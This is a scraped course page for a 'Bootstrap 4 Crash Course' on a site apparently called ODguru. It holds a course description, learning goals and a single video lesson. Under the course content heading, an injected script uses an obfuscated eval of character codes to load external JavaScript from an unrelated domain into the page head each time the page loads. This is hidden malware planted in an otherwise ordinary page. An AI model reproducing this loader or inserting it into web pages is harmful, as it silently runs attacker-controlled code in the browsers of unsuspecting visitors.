ODguru

Menu
Login
Menu
Login

Bootstrap 4 Crash Course

Categories: CSS, Development, HTML
Wishlist Share
Share Course
Page Link
Share On Social Media

About Course

If you want to learn how to create modern, great looking and nicely designed websites, then this is the right class for you. Welcome to the complete Bootstrap course.

The course is project-based because we think that creating projects is the best way to learn one of the most popular and widely used technologies today – Bootstrap. Bootstrap allows us to build modern and nicely looking websites in a very simple way, so, if you want to take your web developer/designer skills to the next level, then you definitely need to know how to use bootstrap and what it actually does.

The course consists of several sections, we will start from Bootstrap basics like typography and utilities. Then you will be able to learn how to align elements on the page, using a Bootstrap grid system, and also, we will cover CSS Flexbox as well.

After that, comes the main and the most interesting parts of the course. We will start to build projects, in which you will be able to learn the rest of the topics of bootstrap, like bootstrap components and much more. Our first project will be built using pure Bootstrap without using any CSS or jQuery.

The second project will be the admin dashboard, in which we will use bootstraps and also some CSS and a little bit of jQuery. So, in this section, you will be able to learn how to create a modern and well-designed dashboard for admin.

The next project is going to be photoX. It will be a website about something like a photography company. This project will consist of multiple sections in which, you will meet more advanced and complicated things built with bootstrap, CSS, and jQuery.

As for the last project, it will be a kinda different and interesting one, we will build a website about something like book store and unlike previous projects, it will be more complicated and advanced. Throughout this project, we will build really nice and different types of sections, which will be impressive for you.

Each project will be fully responsive to all screen devices.

Throughout the course, you will meet detailed explanations about how bootstrap works, also, you will introduce to modern practices and solutions.

Show More

What Will You Learn?

  • You will start from Bootstrap basics, where you will learn about things like Typography, Utilities
  • You will learn how to align elements on the page using Bootstrap Grid System, and besides that, we will cover CSS Flexbox
  • You will be able to build 4 real world projects using Bootstrap and some CSS and jQuery tricks and techniques
  • After finishing the course you will be able to build modern, great-looking websites on your own

Course Content

Bootstrap 4 Crash Course
<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>

  • Bootstrap 4 Full Course
    01:03:55

Student Ratings & Reviews

No Review Yet
No Review Yet

Want to receive push notifications for all major on-site activities?

✕